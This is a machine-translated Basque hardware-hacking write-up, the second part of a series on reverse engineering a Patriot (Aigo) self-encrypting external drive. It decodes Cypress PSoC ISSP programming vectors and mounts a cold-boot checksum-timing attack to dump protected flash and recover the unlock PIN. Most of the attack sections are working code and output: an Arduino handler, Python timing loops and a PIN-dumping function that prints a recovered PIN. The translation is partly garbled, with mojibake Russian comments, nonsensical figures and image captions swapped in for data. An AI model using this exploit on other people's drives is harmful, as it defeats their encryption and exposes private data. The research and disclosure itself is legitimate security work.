Aigo autoenkriptatutako kanpoko HDD diskoa alderantzikatu eta hackeatzea. 2. zatia: Cypress PSoC-tik zabortegi bat hartzea

Hau da kanpoko auto-enkriptatze-unitateak pirateatzeari buruzko artikuluaren bigarren eta azken zatia. Gogora dezadan lankide batek duela gutxi Patriot (Aigo) SK8671 disko gogor bat ekarri zidala eta alderantzikatzea erabaki nuela, eta orain hortik ateratakoa partekatzen ari naiz. Gehiago irakurri aurretik, ziurtatu irakurri duzula lehen zatia artikuluak.

4. PSoC barneko flash drivetik zabortegi bat hartzen hasten gara
5. ISSP protokoloa
– 5.1. Zer da ISSP
– 5.2. Bektore desmitifikatzaileak
– 5.3. PSoCrekin komunikazioa
– 5.4. Txip-erregistroen identifikazioa
– 5.5. Segurtasun bitsak
6. Lehenengo erasoa (porrot egina): ROMX
7. Bigarren Erasoa: Cold Boot Tracing
– 7.1. Ezarpena
– 7.2. Emaitza irakurtzea
– 7.3. Flash bitar berreraikuntza
– 7.4. PIN kodea biltegiratzeko helbidea aurkitzea
– 7.5. 126. zenbakiko blokearen zabortegia hartzea
– 7.6. PIN kodea berreskuratzea
8. Zer da hurrengoa?
9. Ondorioa

Aigo autoenkriptatutako kanpoko HDD diskoa alderantzikatu eta hackeatzea. 2. zatia: Cypress PSoC-tik zabortegi bat hartzea


4. PSoC barneko flash drivetik zabortegi bat hartzen hasten gara

Beraz, denak adierazten du ([lehen zatian]()) PIN kodea PSoC-ren flash-sakonetan gordetzen dela. Horregatik, flash-sakonera hauek irakurri behar ditugu. Beharrezko lanaren aurrealdea:

  • mikrokontrolagailuarekin "komunikazioaren" kontrola hartu;
  • "komunikazio" hori kanpotik irakurtzetik babestuta dagoen egiaztatzeko modua bilatu;
  • aurkitu babesa saihesteko modu bat.

Baliozko PIN kodea bilatzea zentzuzkoa den bi leku daude:

  • barneko flash memoria;
  • SRAM, non pin kodea gorde daiteke erabiltzaileak sartutako pin kodearekin alderatzeko.

Aurrera begira, kontuan izango dut oraindik lortu dudala PSoC barneko flash unitatearen zabortegia kentzea - ​​bere segurtasun-sistema "cold boot tracing" izeneko hardware-erasoa erabiliz saihestuz - ISSP protokoloaren dokumentaziorik gabeko gaitasunak alderantzikatu ondoren. Honi esker, benetako PIN kodea zuzenean bota nuen.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Programaren azken kodea:

5. ISSP protokoloa

5.1. Zer da ISSP

Mikrokontrolagailu batekin "komunikazioak" gauza desberdinak esan ditzake: "saltzailetik saltzailera" serieko protokolo bat erabiliz elkarrekintzara (adibidez, ICSP Microchip-en PICrako).

Cypress-ek bere jabedun protokolo propioa du horretarako, ISSP (sistemako serieko programazio-protokoloa) izenekoa, zati batean deskribatzen dena. zehaztapen teknikoa. US 7185162 patentea informazio batzuk ere ematen ditu. HSSP izeneko OpenSource baliokide bat ere badago (apur bat geroago erabiliko dugu). ISSP honela funtzionatzen du:

  • berrabiarazi PSoC;
  • atera zenbaki magikoa PSoC honen serieko datu-pinera; kanpoko programazio moduan sartzeko;
  • bidali komandoak, "bektoreak" izeneko bit-kate luzeak.

ISSP dokumentazioak bektore hauek definitzen ditu komando gutxi batzuentzat:

  • Hasieratu-1
  • Hasieratu-2
  • Initialize-3 (3V eta 5V aukerak)
  • ID-SETUP
  • IRAKURRI-ID-HITZA
  • SET-BLOCK-NUM: 10011111010dddddddd111, non dddddddd=blokea #
  • BLACK ERASE
  • PROGRAMA-BLOKEA
  • EGIAZTATU-CONFIGURAZIOA
  • IRAKURKETA-BYTEA: 10110aaaaaaZDDDDDDDDZ1, non DDDDDDDD = datuak ateratzea, aaaaaa = helbidea (6 bit)
  • WRITE-BYTE: 10010aaaaaadddddd111, non ddddddd = datuak sartu, aaaaaa = helbidea (6 bit)
  • SECURE
  • CHECKSUM-SETUP
  • IRAKURKETA-TXOKABURUA: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, non DDDDDDDDDDDDDDDD = ateratako datuak: gailuaren egiaztapena
  • EZABATU BLOKEA

Adibidez, Initialize-2-ren bektorea:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Bektore guztiek luzera bera dute: 22 bit. HSSP dokumentazioak ISSPri buruzko informazio gehigarri bat du: "ISSP bektore bat instrukzio multzo bat adierazten duen bit-sekuentzia bat baino ez da".

5.2. Bektore desmitifikatzaileak

Azter dezagun zer gertatzen den hemen. Hasieran, bektore hauek M8C argibideen bertsio gordinak zirela suposatu nuen, baina hipotesi hau egiaztatu ondoren, eragiketen opcodeak ez zetozela bat aurkitu nuen.

Orduan goiko bektorea Googlen bilatu nuen eta topatu nuen hau azterketa bat non egileak, xehetasunetan sartu ez arren, aholku baliagarri batzuk ematen dituen: β€œInstrukzio bakoitza lau mnemotekniko bati dagozkion hiru bitekin hasten da (RAMetik irakurri, RAMera idatzi, erregistroa irakurri, erregistroa idatzi). Ondoren, 8 helbide-bit daude, ondoren 8 datu-bit (irakurtzea edo idaztea) eta, azkenik, hiru geldialdi-bit”.

Ondoren, Gainbegiratze ROM (SROM) atalean informazio oso erabilgarria jaso ahal izan dut. eskuliburu teknikoa. SROM PSoC-ko gogor kodetutako ROM bat da, erabilgarritasun-funtzioak (Syscall-en antzera) eskaintzen dituena erabiltzailearen espazioan exekutatzen den programa-kodea:

  • 00h:SWBootReset
  • 01h: IrakurriBlokea
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: TableRead
  • 07h: CheckSum
  • 08h: Kalibratu0
  • 09h: Kalibratu1

Bektore-izenak SROM funtzioekin alderatuz, protokolo honek onartzen dituen eragiketa desberdinak espero diren SROM parametroekin mapa ditzakegu. Horri esker, ISSP bektoreen lehen hiru bitak deskodetu ditzakegu:

  • 100 => "wrem"
  • 101 => "rdmem"
  • 110 => "wrreg"
  • 111 => "rdreg"

Hala ere, txip-eko prozesuen ulermen osoa PSoC-rekin zuzeneko komunikazioaren bidez soilik lor daiteke.

5.3. PSoCrekin komunikazioa

Dirk Petrautskyk dagoeneko egin du porturatu Cypress-en HSSP kodea Arduino-n, Arduino Uno erabili nuen teklatuaren plakaren ISSP konektorera konektatzeko.

Kontuan izan nire ikerketan zehar Dirken kodea dezente aldatu dudala. Nire aldaketa GitHub-en aurki dezakezu: Hemen eta Arduinorekin komunikatzeko dagokion Python scripta, nire biltegian cypress_psoc_tools.

Beraz, Arduino erabiliz, lehenengo bektore "ofizialak" soilik erabili nituen "komunikaziorako". Barne ROM-a irakurtzen saiatu naiz VERIFY komandoa erabiliz. Espero bezala, ezin izan nuen hau egin. Ziurrenik, irakurketa babesteko bitak flash drive barruan aktibatuta daudelako.

Ondoren, nire bektore sinple batzuk sortu nituen memoria/erregistroak idazteko eta irakurtzeko. Kontuan izan SROM osoa irakur dezakegula, nahiz eta flash drive babestuta egon!

5.4. Txip-erregistroen identifikazioa

"Desmuntatutako" bektoreak aztertu ondoren, gailuak dokumenturik gabeko erregistroak (0xF8-0xFA) erabiltzen dituela M8C opcodes zehazteko, zuzenean exekutatzen diren, babesa saihestuz aurkitu nuen. Horri esker, hainbat kode exekutatu ahal izan ditut, hala nola, "GEHITU", "MOV A, X", "PUSH" edo "JMP". Horiei esker (erregistroetan dituzten albo-ondorioei erreparatuta) dokumenturik gabeko erregistroetatik zeintzuk ziren benetan erregistro arruntak (A, X, SP eta PC) zehaztu ahal izan nuen.

Ondorioz, HSSP_disas.rb tresnak sortutako "desmuntatutako" kodea honelakoa da (argitzeko iruzkinak gehitu ditut):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс Ρ„Π»Π°Π³ΠΎΠ²
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ для SSC
[9F 20 7C] wrmem KEY2, 0x03     # Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... Π΄ΠΎ 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ для Π²Ρ‹Ρ…ΠΎΠ΄Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для Π²Ρ‹Π·ΠΎΠ²Π° SSC
[DE 00 DC] wrreg A (f0), 0x06       # Π½ΠΎΠΌΠ΅Ρ€ "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # НСдокуммСнтированная опСрация: Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ внСшний ΠΎΠΏΠΊΠΎΠ΄

5.5. Segurtasun bitsak

Fase honetan dagoeneko PSoC-rekin komunikatu naiteke, baina oraindik ez daukat flash unitatearen segurtasun-bitei buruzko informazio fidagarria. Asko harritu nau Cypress-ek ez diolako gailuaren erabiltzaileari babesa aktibatuta dagoen egiaztatzeko bitartekorik ematen. Googlen sakondu nuen azkenean Cypress-ek emandako HSSP kodea Dirk-ek bere aldaketa kaleratu ostean eguneratu zela ulertzeko. Eta beraz! Bektore berri hau agertu da:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # нСизвСстныС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹
[9F E0 1C] wrmem 0xFF, 0x00 # Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # Π½Π΅Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Bektore hau erabiliz (ikus read_security_data psoc.py-n), SRAM-en segurtasun-bit guztiak 0x80-n lortzen ditugu, non babestutako bloke bakoitzeko bi bit dauden.

Emaitza etsigarria da: dena babestuta dago "desgaitu kanpoko irakurketa eta idazketa" moduan. Hori dela eta, ez bakarrik ezin dugu flash drive batetik ezer irakurri, baizik eta ezin dugu ezer idatzi (adibidez, ROM dumper bat bertan instalatzeko). Eta babesa desgaitzeko modu bakarra txip osoa erabat ezabatzea da. πŸ™

6. Lehenengo erasoa (porrot egina): ROMX

Hala ere, honako trikimailu hau probatu dezakegu: opcode arbitrarioak exekutatzeko gaitasuna dugunez, zergatik ez exekutatu flash memoria irakurtzeko erabiltzen den ROMX? Planteamendu honek arrakasta izateko aukera ona du. SROMetik (bektoreek erabiltzen dutena) datuak irakurtzen dituen ReadBlock funtzioak ISSPtik deitzen den egiaztatzen duelako. Hala ere, baliteke ROMX opcodeak ez izatea egiaztapenik. Beraz, hona hemen Python kodea (Arduino kodeari laguntzaile klase batzuk gehitu ondoren):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Zoritxarrez kode honek ez du funtzionatzen. πŸ™ Edo hobeto esanda, funtzionatzen du, baina irteeran gure operazio-kodeak lortzen ditugu (0x28 0x30 0x40)! Ez dut uste gailuaren funtzionaltasuna irakurketa babesteko elementua denik. Hau ingeniaritza trikimailu baten antzekoa da: kanpoko operazio-kodeak exekutatzean, ROM busa aldi baterako buffer batera birbideratzen da.

7. Bigarren Erasoa: Cold Boot Tracing

ROMX trikimailuak ez zuenez funtzionatu, trikimailu honen beste aldaera batean pentsatzen hasi nintzen - argitalpenean deskribatua. "Mikrokontrolagailu baten Firmware Babesari Argi gehiegi botatzea".

7.1. Ezarpena

ISSP dokumentazioak honako bektore hau eskaintzen du CHECKSUM-SETUP egiteko:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Honek funtsean SROM funtzioa 0x07 deitzen du, dokumentazioan aurkezten den moduan (letra etzana nirea):

Funtzio hau egiaztapen batura. Erabiltzaileak zehaztutako bloke kopuruaren 16 biteko batura kalkulatzen du flash banku batean, zerotik hasita. BLOCKID parametroa checksuma kalkulatzerakoan erabiliko den bloke kopurua pasatzeko erabiltzen da. "1" balio batek zero blokearen egiaztapen batuketa bakarrik kalkulatuko du; aldiz "0"-k flash bankuko 256 bloke guztien kontrol-baga totala kalkulatuko du. 16 biteko checksum-a KEY1 eta KEY2 bidez itzultzen da. KEY1 parametroak kontrol-sumaren ordena baxuko 8 bitak gordetzen ditu, eta KEY2 parametroak ordena handiko 8 bitak gordetzen ditu. Hainbat flash banku dituzten gailuetarako, checksum funtzioa bakoitzari bereizita deitzen zaio. Lan egingo duen banku-zenbakia FLS_PR1 erregistroak ezartzen du (helburuko flash bankuari dagokion bit-a ezarriz).

Kontuan izan hau checksum soila dela: byteak bata bestearen atzetik gehitzen dira; CRC bitxikeria dotorerik ez. Horrez gain, M8C nukleoak erregistro-multzo oso txikia duela jakinda, suposatu nuen checksuma kalkulatzerakoan tarteko balioak azken finean irteerara joango diren aldagai berdinetan erregistratuko direla: KEY1 (0xF8) / KEY2 ( 0xF9).

Beraz, teorian nire erasoa honelakoa da:

  1. ISSP bidez konektatzen gara.
  2. Checksumaren kalkulua hasten dugu CHECKSUM-SETUP bektorea erabiliz.
  3. T denbora zehatz baten ondoren prozesadorea berrabiaraziko dugu.
  4. RAM irakurtzen dugu uneko C checksuma lortzeko.
  5. Errepikatu 3. eta 4. urratsak, aldi bakoitzean T pixka bat handituz.
  6. Flash unitate bateko datuak berreskuratzen ditugu aurreko C checksum-a unekotik kenduz.

Hala ere, arazo bat dago: berrabiarazi ondoren bidali behar dugun Initialize-1 bektoreak KEY1 eta KEY2 gainidazten ditu:

1100101000000000000000  # Магия, пСрСводящая PSoC Π² Ρ€Π΅ΠΆΠΈΠΌ программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Π°Ρ сумма пСрСзаписываСтся здСсь
[9F 20 7C] wrmem KEY2, 0x03 # и здСсь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Kode honek gure checksum preziatua gainidazten du Calibrate1 (SROM funtzioa 9) deituz... Agian zenbaki magikoa bidal dezakegu (goiko kodearen hasieratik) programazio moduan sartzeko, eta gero SRAM irakurtzeko? Eta bai, funtzionatzen du! Eraso hau inplementatzen duen Arduino kodea nahiko erraza da:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Irakurri checkum_delay.
  2. Exekutatu checksum kalkulua (send_checksum_v).
  3. Itxaron epe jakin baterako; ondoko hutsuneak kontuan hartuta:
    • Denbora asko galdu nuen zer ateratzen den jakin arte atzerapenaMikrosegundoak 16383 ΞΌs-tik gorako atzerapenekin soilik funtzionatzen du zuzen;
    • eta, ondoren, berriz ere denbora kopuru bera hil nuen delayMicroseconds-ek, 0 sarrera gisa pasatzen bazaio, guztiz gaizki funtzionatzen duela!
  4. Berrabiarazi PSoC programazio moduan (zenbaki magikoa bidaltzen dugu, hasierako bektoreak bidali gabe).

Azken kodea Python-en:

for delay in range(0, 150000):  # Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠ° Π² микросСкундах
    for i in range(0, 10):      # количСство считывания для ΠΊΠ°ΠΆΠ΄ΠΎΠΉΠΈΠ· Π·Π°Π΄Π΅Ρ€ΠΆΠ΅ΠΊ
        try:
            reset_psoc(quiet=True)  # ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° ΠΈ Π²Ρ…ΠΎΠ΄ Π² Ρ€Π΅ΠΆΠΈΠΌ программирования
            send_vectors()      # ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΡƒΡŽΡ‰ΠΈΡ… Π²Π΅ΠΊΡ‚ΠΎΡ€ΠΎΠ²
            ser.write("x85"+struct.pack(">I", delay)) # Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΡƒΡŽ сумму + ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒΡΡ послС Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠΈ
            res = ser.read(1)       # ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΠΎΡ€Ρ‚
            continue
        print "%05d %02X %02X %02X" % (delay,      # ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ RAM-Π±Π°ΠΉΡ‚Ρ‹
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Laburbilduz, kode honek zer egiten duen:

  1. PSoC berrabiarazten du (eta zenbaki magiko bat bidaltzen dio).
  2. Hasierako bektore osoak bidaltzen ditu.
  3. Arduino Cmnd_STK_START_CSUM (0x85) funtzioari deitzen dio, non mikrosegundoetako atzerapena parametro gisa pasatzen den.
  4. Checksum (0xF8 eta 0xF9) eta dokumentatu gabeko 0xF1 erregistroa irakurtzen ditu.

Kode hau 10 aldiz exekutatzen da mikrosegundo batean. 1xF0 sartzen da hemen, egiaztapen-batuma kalkulatzean aldatu zen erregistro bakarra izan zelako. Agian unitate logiko aritmetikoak erabiltzen duen aldi baterako aldagai bat da. Kontuan izan Arduino picocom erabiliz berrezartzeko erabiltzen dudan hack itsusiari Arduinoak bizi-zantzuak emateari uzten dionean (ez daki zergatik).

7.2. Emaitza irakurtzea

Python script-aren emaitza honelakoa da (irakurgarri izateko sinplifikatua):

DELAY F1 F8 F9  # F1 – Π²Ρ‹ΡˆΠ΅ΡƒΠΏΠΎΠΌΡΠ½ΡƒΡ‚Ρ‹ΠΉ нСизвСстный рСгистр
                  # F8 младший Π±Π°ΠΉΡ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΠΎΠΉ суммы
                  # F9 ΡΡ‚Π°Ρ€ΡˆΠΈΠΉ Π±Π°ΠΉΡ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΠΎΠΉ суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Π°Ρ сумма сбрасываСтся Π² 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-ΠΉ Π±Π°ΠΉΡ‚: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-ΠΉ Π±Π°ΠΉΡ‚: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия Π½Π΅ имСю, Ρ‡Ρ‚ΠΎ здСсь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Π‘Π½ΠΎΠ²Π° E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Π₯ΠΌΠΌΠΌΠΌΠΌΠΌ
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Π’ΠΎΡ‚ ΠΎΠ½ ΠΆΠ΅ пСрСнос Π² ΡΡ‚Π°Ρ€ΡˆΠΈΠΉ Π±Π°ΠΉΡ‚
00063 01 17 01
[...]
00075 CC 17 01  # Π˜Ρ‚Π°ΠΊ, 0x117-0xE7: 0x30

Hori esanda, arazo bat dugu: benetako checksum batekin ari garenez, byte nulu batek ez du irakurritako balioa aldatzen. Dena den, kalkulu-prozedura osoak (8192 byte) 0,1478 segundo behar dituenez (exekutatzen den bakoitzean aldaketa txikiekin), hau da, gutxi gorabehera 18,04 ΞΌs byte bakoitzeko, denbora hori erabil dezakegu kontrol-balioa une egokietan egiaztatzeko. Lehenengo exekuzioetarako, dena nahiko erraz irakurtzen da, prozedura konputazionalaren iraupena ia berdina baita beti. Hala ere, zabortegi honen amaiera ez da hain zehatza, lasterketa bakoitzean "denbora-desbideratze txikiak" esanguratsu bihurtzen direlako:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Hau da 10 zabortegi mikrosegundoko atzerapen bakoitzeko. Eragiketa-denbora osoa 8192 ordu ingurukoa da flash drive baten 48 byte guztiak botatzeko.

7.3. Flasharen berreraikuntza bitarra

Oraindik ez dut amaitu pendrivearen programa-kodea guztiz berreraikiko duen kodea idazten, denbora-desbiderapen guztiak kontuan hartuta. Hala ere, dagoeneko kode honen hasiera berreskuratu dut. Ondo egin dudala ziurtatzeko, m8cdis erabiliz desmuntatu dut:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Nahiko sinesgarria dirudi!

7.4. PIN kodea biltegiratzeko helbidea aurkitzea

Orain checksum-a behar dugun unean irakurri dezakegunez, erraz egiaztatu dezakegu nola eta non aldatzen den:

  • sartu PIN kodea okerra;
  • aldatu pin kodea.

Lehenik eta behin, gutxi gorabeherako biltegiratze-helbidea aurkitzeko, kontrol-sumaren iraulketa bat egin nuen 10 ms-ko gehikuntzan berrabiarazi ondoren. Orduan PIN okerra sartu nuen eta gauza bera egin nuen.

Emaitza ez zen oso atsegina izan, aldaketa asko egon baitziren. Baina azkenean egiaztatu ahal izan nuen checksum-a 120000 Β΅s eta 140000 Β΅s atzerapenaren artean aldatu zela. Baina hor bistaratu nuen "pincode" guztiz okerra zen - delayMicroseconds prozeduraren artefaktu baten ondorioz, gauza arraroak egiten baititu 0 pasatzen denean.

Orduan, ia 3 ordu igaro ondoren, SROM sistema deiak CheckSum-ek checksum-eko bloke kopurua zehazten duen argumentu bat jasotzen duela gogoratu nuen! Hori. PIN kodearen biltegiratze-helbidea eta "saiakera okerrak" kontagailua erraz lokalizatu ditzakegu, 64 byteko blokerainoko zehaztasunarekin.

Nire hasierako exekuzioak emaitza hau eman zuen:

Aigo autoenkriptatutako kanpoko HDD diskoa alderantzikatu eta hackeatzea. 2. zatia: Cypress PSoC-tik zabortegi bat hartzea

Ondoren, PIN kodea "123456"tik "1234567"ra aldatu nuen eta lortu nuen:

Aigo autoenkriptatutako kanpoko HDD diskoa alderantzikatu eta hackeatzea. 2. zatia: Cypress PSoC-tik zabortegi bat hartzea

Horrela, badirudi PIN kodea eta saiakera okerren kontagailua 126. zenbakian gordeta daudela.

7.5. 126. zenbakiko blokearen zabortegia hartzea

#126 blokea nonbait kokatu behar da 125x64x18 = 144000ΞΌs inguruan, checksumaren kalkuluaren hasieratik, nire zabortegi osoan, eta nahiko sinesgarria dirudi. Ondoren, baliogabeko isurketa ugari eskuz bahetu ondoren ("denbora-desbideratze txikien" metaketa dela eta), byte hauek lortzen amaitu nuen (145527 ΞΌs-ko latentzian):

Aigo autoenkriptatutako kanpoko HDD diskoa alderantzikatu eta hackeatzea. 2. zatia: Cypress PSoC-tik zabortegi bat hartzea

Nahiko bistakoa da PIN kodea zifratu gabeko forman gordetzen dela! Balio hauek, noski, ez daude ASCII kodeetan idatzita, baina, ondorioz, teklatu kapazitibotik hartutako irakurketak islatzen dituzte.

Azkenik, proba gehiago egin nituen saiakera txarraren kontagailua non gordetzen zen aurkitzeko. Hona hemen emaitza:

Aigo autoenkriptatutako kanpoko HDD diskoa alderantzikatu eta hackeatzea. 2. zatia: Cypress PSoC-tik zabortegi bat hartzea

0xFF - "15 saiakera" esan nahi du eta huts egiten duen saiakera bakoitzean gutxitzen da.

7.6. PIN kodea berreskuratzea

Hona hemen goikoa biltzen duen nire kode itsusia:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Hona hemen bere exekuzioaren emaitza:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Aupa! Lanak!

Kontuan izan erabili ditudan latentzia-balioak PSoC zehatz baterako garrantzitsuak direla, nik erabili dudanarekin.

8. Zer da hurrengoa?
